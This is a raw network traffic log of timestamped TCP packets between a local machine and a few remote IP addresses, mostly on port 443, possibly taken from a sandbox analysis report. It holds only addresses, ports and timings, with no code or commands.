Oct 7, 2024 21:18:56.981774092 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.981790066 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.982534885 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.982578993 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:56.982707024 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.983437061 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:56.983450890 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.231002092 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.235574007 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.235601902 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.236289978 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.236304045 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.341784000 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.342629910 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.342696905 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.353300095 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.353300095 CEST	49957	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.353318930 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.353332043 CEST	443	49957	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.377279997 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.377316952 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.377533913 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.385286093 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.385298967 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.599430084 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.605371952 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.609469891 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.609494925 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.609595060 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.609601021 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.617830992 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.617841959 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.618170023 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.618175030 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.620052099 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.620604992 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.620626926 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.621000051 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.621005058 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.641285896 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.644332886 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.644332886 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.644371986 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.644380093 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.723067999 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.723119020 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.723221064 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.732575893 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.732577085 CEST	49958	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.732619047 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.732649088 CEST	443	49958	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.744961023 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.745002031 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.745234966 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.748368979 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.748437881 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.748680115 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.752382040 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.752532959 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.752605915 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.779373884 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.779398918 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.779412031 CEST	49960	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.779417992 CEST	443	49960	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.780366898 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.780391932 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.780404091 CEST	49959	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.780410051 CEST	443	49959	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.781244040 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.781244993 CEST	49961	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.781264067 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.781280994 CEST	443	49961	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.802088976 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.802148104 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.802232981 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.802748919 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.802781105 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.803626060 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.803670883 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.803755999 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.803883076 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.803901911 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.804711103 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.804810047 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.804898977 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.805470943 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.805491924 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.805552006 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.805846930 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.805879116 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:57.805924892 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:57.805948973 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.012736082 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.012763023 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.012981892 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.015397072 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.015412092 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.037452936 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.037951946 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.037960052 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.038552046 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.038556099 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.170695066 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.170785904 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.170876980 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.171834946 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.171850920 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.172553062 CEST	49962	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.172559977 CEST	443	49962	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.184030056 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.184062958 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.186184883 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.186422110 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.186445951 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.429378033 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.430097103 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.430152893 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.430782080 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.430797100 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.435167074 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.435528040 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.435571909 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.436122894 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.436136007 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.446945906 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.447319984 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.447339058 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.447719097 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.447731018 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.458627939 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.459024906 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.459053993 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.459418058 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.459425926 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.540690899 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.540843010 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.540955067 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.540961027 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.541037083 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.541145086 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.541269064 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.541291952 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.541352034 CEST	49966	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.541359901 CEST	443	49966	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.541451931 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.541625023 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.542267084 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.542267084 CEST	49963	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.542309999 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.542336941 CEST	443	49963	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.546005964 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546046019 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.546077967 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546084881 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.546107054 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546132088 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546564102 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546576977 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.546638012 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.546648979 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.554888964 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.555039883 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.555135965 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.555162907 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.555174112 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.555186987 CEST	49965	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.555192947 CEST	443	49965	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.558260918 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.558295965 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.558382988 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.558542013 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.558554888 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.568326950 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.568478107 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.568536997 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.568593979 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.593837023 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.593859911 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.593873978 CEST	49964	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.593880892 CEST	443	49964	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.597090006 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.597112894 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.597181082 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.601655960 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.601670980 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.609252930 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.609328985 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.651247025 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.651276112 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.652173042 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.652232885 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.653270006 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.699398041 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.844989061 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.845511913 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.845537901 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.845910072 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.845916033 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.864562035 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.864587069 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.864614010 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.864619970 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.864629984 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.864645004 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.864674091 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.864695072 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.864726067 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.865125895 CEST	49967	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:58.865135908 CEST	443	49967	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:58.869460106 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:58.875222921 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:58.875288963 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:58.876480103 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:58.882206917 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:58.953943014 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.954025030 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.954233885 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.954657078 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.954657078 CEST	49968	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.954678059 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.954689980 CEST	443	49968	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.957855940 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.957916975 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:58.958075047 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.958201885 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:58.958214998 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.185542107 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.185987949 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.186017990 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.186378956 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.186384916 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.198416948 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.198868990 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.198887110 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.199212074 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.199218035 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.222879887 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.223390102 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.223402977 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.223753929 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.223758936 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.255105972 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.278804064 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.278834105 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.279269934 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.279274940 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.290796995 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.291281939 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.291332006 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.291469097 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.291487932 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.291497946 CEST	49970	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.291502953 CEST	443	49970	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.295406103 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.295432091 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.295623064 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.295623064 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.295646906 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.305409908 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.305592060 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.305638075 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.305651903 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.305692911 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.305747986 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.305752993 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.305762053 CEST	49969	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.305766106 CEST	443	49969	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.308101892 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.308204889 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.308273077 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.308381081 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.308403015 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.368684053 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.370256901 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.370572090 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.370800018 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.370815039 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.370825052 CEST	49971	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.370831966 CEST	443	49971	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.373358965 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.373383999 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.375137091 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.375235081 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.375247002 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.409248114 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.409338951 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.409431934 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.409521103 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.409521103 CEST	49972	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.409534931 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.409542084 CEST	443	49972	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.414129972 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.414156914 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.414639950 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.414866924 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.414876938 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.596470118 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.614087105 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.614131927 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.614490986 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.614496946 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.713905096 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.713947058 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.714004040 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.714056969 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.714337111 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.714354992 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.714380026 CEST	49974	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.714385986 CEST	443	49974	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.716984034 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.717092991 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.717173100 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.717340946 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.717375994 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.893264055 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:59.893347025 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:59.896321058 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:59.901278019 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:59.940908909 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.941447973 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.941505909 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.941976070 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.941987991 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.953778028 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.954255104 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.954277039 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:59.954663992 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:59.954674006 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.050514936 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.050957918 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.050987959 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.051230907 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.051305056 CEST	443	49976	13.107.253.45	192.168.2.5
